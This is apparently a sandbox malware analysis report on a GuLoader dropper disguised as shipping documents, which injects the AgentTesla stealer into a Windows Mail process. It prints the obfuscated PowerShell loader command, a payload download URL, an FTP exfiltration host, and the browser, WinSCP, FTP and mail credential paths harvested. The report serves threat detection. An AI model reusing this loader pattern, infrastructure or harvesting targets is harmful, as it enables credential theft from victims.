Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)"			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wabmig.exe "C:\Program Files (x86)\windows mail\wabmig.exe"			Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Code function: 0_2_6FE81096 GetModuleFileNameW,GlobalAlloc,CharPrevW,GlobalFree,GetTempFileNameW,CopyFileW,CreateFileW,CreateFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,CloseHandle,lstrcatW,lstrlenW,GlobalAlloc,FindWindowExW,FindWindowExW,FindWindowExW,lstrcmpiW,lstrcmpiW,lstrcmpiW,DeleteFileW,GetVersion,GlobalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreatePipe,CreatePipe,CreatePipe,GetStartupInfoW,CreateProcessW,lstrcpyW,GetTickCount,WaitForSingleObject,GetExitCodeProcess,PeekNamedPipe,GetTickCount,ReadFile,IsTextUnicode,IsDBCSLeadByteEx,MultiByteToWideChar,lstrcpyW,GlobalReAlloc,lstrcpyW,GetTickCount,TerminateProcess,lstrcpyW,Sleep,lstrcpyW,wsprintfW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,DeleteFileW,GlobalFree,GlobalFree,GlobalFree,

0_2_6FE81096

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Program Files (x86)\Windows Mail\wabmig.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

0_2_00403532

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wabmig.exe PID: 4232, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wabmig.exe PID: 4232, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wabmig.exe PID: 4232, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Obfuscated Files or Information	1 Credentials in Registry	126 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	111 Process Injection	1 Software Packing	Security Account Manager	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Shipping documents 000022999878999800009999.exe	26%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe	26%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://185.29.11.53/bgJJbKBK219.bin-	0%	Avira URL Cloud	safe
https://go.micXO	0%	Avira URL Cloud	safe
http://crl.micro	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://185.29.11.53/bgJJbKBK219.bine	0%	Avira URL Cloud	safe
http://185.29.11.53/bgJJbKBK219.bin	0%	Avira URL Cloud	safe
http://concaribe.com	0%	Avira URL Cloud	safe
http://ftp.concaribe.com	100%	Avira URL Cloud	malware
https://api.ipify.org/t	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.ipify.org	104.26.13.205	true	false	unknown
concaribe.com	192.185.13.234	true	true	unknown
ftp.concaribe.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown
http://185.29.11.53/bgJJbKBK219.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://go.micXO	powershell.exe, 00000002.00000002.2775532254.0000000006D12000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org	wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.29.11.53/bgJJbKBK219.bin-	wabmig.exe, 00000008.00000002.3381693291.0000000008713000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000002.00000002.2768740707.00000000005FA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2775532254.0000000006C59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.2770069305.00000000048B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.29.11.53/bgJJbKBK219.bine	wabmig.exe, 00000008.00000002.3381693291.0000000008713000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2773945564.0000000005916000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ftp.concaribe.com	wabmig.exe, 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://nsis.sf.net/NSIS_ErrorError	Shipping documents 000022999878999800009999.exe, 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Shipping documents 000022999878999800009999.exe, 00000000.00000000.2125866362.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://concaribe.com	wabmig.exe, 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/t	wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2770069305.00000000048B1000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000008.00000002.3394310610.0000000024151000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2770069305.0000000004A06000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.29.11.53	unknown	European Union	203557	DATACLUB-NL	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
192.185.13.234	concaribe.com	United States	46606	UNIFIEDLAYER-AS-1US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518330
Start date and time:	2024-09-25 15:58:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Shipping documents 000022999878999800009999.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/12@2/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 97% Number of executed functions: 140 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5008 because it is empty
Execution Graph export aborted for target wabmig.exe, PID 4232 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Shipping documents 000022999878999800009999.exe

Simulations

Behavior and APIs

Time	Type	Description
09:59:03	API Interceptor	39x Sleep call for process: powershell.exe modified
10:00:09	API Interceptor	55621x Sleep call for process: wabmig.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.29.11.53	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.53/bIGuEflfnZjESw74.bin
185.29.11.53	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.53/bIGuEflfnZjESw74.bin
104.26.13.205	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	api.ipify.org/
	fptlVDDPkS.dll	Get hash	malicious	Quasar	Browse	api.ipify.org/
	vstdlib_s64.dll.dll	Get hash	malicious	Quasar	Browse	api.ipify.org/
	vstdlib_s64.dll.dll	Get hash	malicious	Quasar	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.Evo-gen.28044.10443.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	z38PO_20248099-1_pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	z64MT103_126021720924_pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.74.152
	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	rMT103SwiftCopyoFPayment.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://www.canva.com/design/DAGRqYHU9fM/qLQ4eWyHLFZd4WO6lX1hvg/view?utm_content=DAGRqYHU9fM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	Zoom_Invite.call-660194855683.wsf	Get hash	malicious	XWorm	Browse	104.26.12.205
	reported_account_violation-pdf-67223451.wsf	Get hash	malicious	XWorm	Browse	104.26.13.205
	COMMERCAIL INVOICE AND TNT AWB TRACKING INVOICE.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://pub-647efec841f2469ea102ef18827f7780.r2.dev/secure_response.html	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EFT Remittance - 25_09_24 Ref_3c70ac202caa933179b3568afa512866a7bd5171.eml	Get hash	malicious	Unknown	Browse	104.17.25.14
	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	188.114.96.3
	cargo details.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	update.ps1	Get hash	malicious	NetSupport RAT, HTMLPhisher	Browse	104.21.73.126
	https://1drv.ms/o/s!AnrtiNmLLRZglVBmj_pzjvzIvHZ7?e=WnZeS1	Get hash	malicious	HtmlDropper	Browse	104.18.94.41
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	1e#U0414.exe	Get hash	malicious	Lokibot	Browse	188.114.96.3
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	188.114.96.3
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
DATACLUB-NL	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.53
	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.53
	PO 00009876660887666000.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	84.38.133.121
	Bankcopyscanneddoc.exe	Get hash	malicious	RedLine	Browse	84.38.129.21
	xCjIO3SCur0S.exe	Get hash	malicious	Remcos	Browse	185.29.11.23
	new.cmd	Get hash	malicious	GuLoader	Browse	185.29.11.28
	temp.cmd	Get hash	malicious	Unknown	Browse	185.29.11.28
	price_request_.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.62
	disprovable.dll	Get hash	malicious	CryptOne, Qbot	Browse	84.38.133.191
	BL.xls	Get hash	malicious	Lokibot	Browse	84.38.129.114
UNIFIEDLAYER-AS-1US	rDieselPlantTechnicalSheet.exe	Get hash	malicious	DBatLoader	Browse	192.185.31.186
	rPO_CW00402902400429.exe	Get hash	malicious	AgentTesla	Browse	192.185.35.35
	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse	192.185.13.234
	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	192.185.13.234
	Audio_Msg..00290663894983Transcript.html	Get hash	malicious	HTMLPhisher	Browse	162.215.211.9
	rPO_CW00402902400438.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.241.27.20
	Shipping Document.exe	Get hash	malicious	AgentTesla	Browse	162.214.80.31
	https://wbh.sxx.temporary.site/	Get hash	malicious	Unknown	Browse	50.6.160.227
	https://pnp.zfx.mybluehost.me/wp-content/it/web/login.php/	Get hash	malicious	Unknown	Browse	50.6.153.149
	https://hr.schoolrundriver.com/system/fonts/wordpress/CHASE	Get hash	malicious	Unknown	Browse	192.232.218.112

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	z84TTREMITTANCEUSD347_432_63.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.205
	rLegalOpinionCopy_doc.cmd	Get hash	malicious	VIP Keylogger	Browse	104.26.13.205
	update.ps1	Get hash	malicious	NetSupport RAT, HTMLPhisher	Browse	104.26.13.205
	https://1drv.ms/o/s!AnrtiNmLLRZglVBmj_pzjvzIvHZ7?e=WnZeS1	Get hash	malicious	HtmlDropper	Browse	104.26.13.205
	https://texicoschools-my.sharepoint.com/:f:/p/bhadley/EsaMKJ-X61dEm1tZEaws2DMBSjLuzfhGBl4pu2aaho1XiQ?e=fJogeV	Get hash	malicious	Unknown	Browse	104.26.13.205
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	104.26.13.205
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	104.26.13.205
	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	104.26.13.205
	http://mir-belting.com	Get hash	malicious	Unknown	Browse	104.26.13.205
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	104.26.13.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse
	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	4hIPvzV6a2.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe	Get hash	malicious	Unknown	Browse
	3Dut8dFCwD.exe	Get hash	malicious	Unknown	Browse
	Ms63nDrOBa.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse
	rSCAN31804.exe	Get hash	malicious	GuLoader, Remcos	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
